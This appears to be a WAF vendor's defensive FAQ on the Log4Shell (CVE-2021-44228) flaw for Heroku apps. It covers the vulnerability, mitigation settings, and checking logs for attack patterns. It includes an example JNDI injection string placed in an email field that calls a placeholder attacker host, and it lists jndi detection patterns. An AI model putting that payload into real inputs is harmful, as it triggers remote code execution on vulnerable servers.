How to Block Log4j CVE-2021-44228 Exploits on Heroku

What is Log4j?

Log4j is a popular Java logging utility. It’s used within applications to write information out to log files and logging systems in a structured way.

What is the CVE-2021-44228 (Log4Shell) vulnerability in log4j?

Log4j has a feature that adds additional context to log file entries pulled from LDAP and JNDI endpoints.

In versions 2.0-beta9 through 2.12.1 and 2.13.0 through 2.14.1 of Log4j, an attacker can trigger this functionality through any value written to the log allowing for arbitrary Remote Code Execution (RCE).

Log4j would then connect to the attacker’s server and execute the class downloaded from it, which is why this is considered a Remote Code Execution (RCE) vulnerability.

12/10/21 -

Guidance for log4j on Heroku

CISA’s official guidelines for mitigating the threat of this vulnerability are to:

  1. Disable the vulnerable feature within log4j (directions below) or upgrade to a non-affected version of log4j.
  2. Install a WAF with automatically updating rules
  3. Report exploit attempts to CISA via their incident reporting system form

What are the additional Log4j CVEs?

Since the publication of CVE-2021-44228 (RCE) on December 10th, additional vulnerabilities have been found.

12/14/21 -

12/14/21 -

12/18/21 -

These additional issues are less severe than the initial vulnerability but should still be taken seriously.

If I’m not using Java, do I need to take any steps?

Yes. log4j is used in many SaaS services, and if your application is interacting with those, it might still pose a risk to you.

Consider if someone signed up for your service with an email of:

${jndi:ldap://{attacker website}/a}

Any external service you passed that “email” to could trigger an attack if it happened to be logged in a vulnerable log4j instance.

If I’m using Java, what should I do?

First, you should identify what version of log4j you are using and then take the appropriate steps:

For >=2.10, set system property log4j2.formatMsgNoLookups to true.

For >=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

For 2.0-beta9 to 2.10.0, remove JndiLookup.class from class path: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

If possible, upgrade to log4j version 2.15.0 or higher.

How can I check if my Heroku application is being targeted?

If you’re using any of the (Heroku add-ons for logging)[] you can check if the string ‘jndi’ appears in your logs.

If it’s part of a sequence like any of the following, it’s a strong attack indicator.

  • ${jndi:ldap:/}
  • ${jndi:ldaps:/}
  • ${jndi:rmi:/}
  • ${jndi:dns:/}
  • ${jndi:iiop:/}

Are Expedited WAF services affected by Log4Shell?

No. We do not operate any systems vulnerable to this exploit.

Can Expedited WAF prevent Log4Shell exploits?

Yes. As a managed WAF service, as soon as the CVE was disclosed, we began adding new filters to our core Intrusion Detection System to prevent the exploitation of this vulnerability for our clients.

There are no additional rules or configurations necessary for any of our clients on any plans to enable this protection.

Additionally, we continue to update the rules in response to the developing set of additional exploits that this vulnerability has enabled.

For more information on Expedited WAF features on Heroku please view our Elements Page.

If you have additional questions or concerns please contact or book a time to speak to a security engineer at